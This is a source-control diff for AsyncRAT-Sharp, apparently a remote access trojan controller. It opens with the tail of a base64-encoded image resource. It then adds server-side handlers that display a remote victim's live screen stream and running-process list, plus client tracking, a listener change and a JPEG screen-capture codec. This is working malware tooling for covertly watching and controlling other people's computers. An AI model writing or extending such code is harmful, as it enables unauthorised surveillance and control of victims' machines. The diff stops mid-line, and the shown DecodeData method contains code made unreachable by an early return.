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 + gg== + + + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 30046cb..944f169 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -4,6 +4,9 @@ using AsyncRAT_Sharp.MessagePack; using System; using System.Diagnostics; using System.Drawing; +using AsyncRAT_Sharp.Forms; +using System.IO; + namespace AsyncRAT_Sharp.Handle_Packet { @@ -28,6 +31,7 @@ namespace AsyncRAT_Sharp.Handle_Packet Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); + Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; Program.form1.listView1.Items.Insert(0, Client.LV); Settings.Online.Add(Client); })); @@ -51,6 +55,81 @@ namespace AsyncRAT_Sharp.Handle_Packet } } break; + + case "remoteDesktop": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID]; + try + { + if (RD != null && RD.Active == true) + { + byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); + Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + + if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) + { + RD.pictureBox1.Image = (Bitmap)decoded; + RD.RenderSW = Stopwatch.StartNew(); + } + RD.FPS++; + if (RD.sw.ElapsedMilliseconds >= 1000) + { + RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Helper.BytesToString(RdpStream.Length); + RD.FPS = 0; + RD.sw = Stopwatch.StartNew(); + } + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "false"; + Client.BeginSend(msgpack.Encode2Bytes()); + } + } + catch (Exception ex) { Debug.WriteLine(ex.Message); } + })); + } + } + break; + + case "processManager": + { + if (Program.form1.InvokeRequired) + { + Program.form1.BeginInvoke((MethodInvoker)(() => + { + ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID]; + if (PM != null) + { + PM.listView1.Items.Clear(); + string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString; + string data = AllProcess.ToString(); + string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < _NextProc.Length; i++) + { + if (_NextProc[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_NextProc[i]); + lv.SubItems.Add(_NextProc[i + 1]); + lv.ToolTipText = _NextProc[i]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2]))); + PM.imageList1.Images.Add(_NextProc[i + 1], im); + lv.ImageKey = _NextProc[i + 1]; + PM.listView1.Items.Add(lv); + } + i += 2; + } + } + })); + } + } + break; } } catch (Exception ex) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs index ad2872a..7507ff5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper.cs @@ -4,9 +4,9 @@ namespace AsyncRAT_Sharp { class Helper { - public static String BytesToString(long byteCount) + public static string BytesToString(long byteCount) { - string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB + string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; if (byteCount == 0) return "0" + suf[0]; long bytes = Math.Abs(byteCount); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index e90a930..fef840c 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -21,7 +21,7 @@ namespace AsyncRAT_Sharp.Sockets // private event ReadEventHandler Read; // private delegate void ReadEventHandler(Clients client, byte[] data); private object SendSync { get; set; } - + public string ID { get; set; } public Clients(Socket CLIENT) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 33b3aca..b050d84 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -2,7 +2,6 @@ using System.Net; using System.Net.Sockets; using System; -using System.Threading; using System.Windows.Forms; namespace AsyncRAT_Sharp.Sockets @@ -34,8 +33,9 @@ namespace AsyncRAT_Sharp.Sockets } } - private void BeginAccept() + private async void BeginAccept() { + await Task.Delay(1); listener.BeginAccept(EndAccept, null); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs new file mode 100644 index 0000000..fce74ea --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/DirectDriverCodec.cs @@ -0,0 +1,160 @@ +using StreamLibrary.src; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; + +namespace StreamLibrary.Codecs +{ + public class DirectDriverCodec + { + private Bitmap decodedBitmap; + + private byte[] EncodeBuffer; + private PixelFormat EncodedFormat; + private int EncodedWidth; + private int EncodedHeight; + private JpgCompression jpgCompression; + + public DirectDriverCodec(int Quality) + { + jpgCompression = new JpgCompression(Quality); + } + + public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream) + { + byte* pScan0 = (byte*)Scan0.ToInt32(); + if (!outStream.CanWrite) + throw new Exception("Must have access to Write in the Stream"); + + int Stride = 0; + int RawLength = 0; + int PixelSize = 0; + + switch (Format) + { + case PixelFormat.Format24bppRgb: + PixelSize = 3; + break; + case PixelFormat.Format32bppArgb: + case PixelFormat.Format32bppPArgb: + PixelSize = 4; + break; + default: + throw new NotSupportedException(Format.ToString()); + } + + Stride = ImageSize.Width * PixelSize; + RawLength = Stride * ImageSize.Height; + + if (EncodeBuffer == null) + { + this.EncodedFormat = Format; + this.EncodedWidth = ImageSize.Width; + this.EncodedHeight = ImageSize.Height; + this.EncodeBuffer = new byte[RawLength]; + fixed (byte* ptr = EncodeBuffer) + { + byte[] temp = null; + using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) + { + temp = jpgCompression.Compress(TmpBmp); + } + + outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); + outStream.Write(temp, 0, temp.Length); + NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); + } + return; + } + + long oldPos = outStream.Position; + outStream.Write(new byte[4], 0, 4); + int TotalDataLength = 0; + + for (int i = 0; i < Changes.Length; i++) + { + Rectangle rect = Changes[i]; + int blockStride = PixelSize * rect.Width; + + Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); + BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); + for (int j = 0, offset = 0; j < rect.Height; j++) + { + int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); + NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes + offset += blockStride; + } + TmpBmp.UnlockBits(TmpData); + + outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); + outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); + outStream.Write(new byte[4], 0, 4); + + long length = outStream.Position; + long OldPos = outStream.Position; + jpgCompression.Compress(TmpBmp, ref outStream); + length = outStream.Position - length; + + outStream.Position = OldPos - 4; + outStream.Write(BitConverter.GetBytes((int)length), 0, 4); + outStream.Position += length; + TmpBmp.Dispose(); + TotalDataLength += (int)length + (4 * 5); + } + outStream.Position = oldPos; + outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); + } + + public Bitmap DecodeData(Stream inStream) + { + byte[] temp = new byte[4]; + inStream.Read(temp, 0, 4); + int DataSize = BitConverter.ToInt32(temp, 0); + + if (decodedBitmap == null) + { + temp = new byte[DataSize]; + inStream.Read(temp, 0, temp.Length); + this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); + return decodedBitmap; + } + return decodedBitmap; + + List updates = new List(); + Rectangle rect; + Graphics g = Graphics.FromImage(decodedBitmap); + Bitmap tmp; + byte[] buffer = null; + MemoryStream m; + + while (DataSize > 0) + { + byte[] tempData = new byte[4 * 5]; + inStream.Read(tempData, 0, 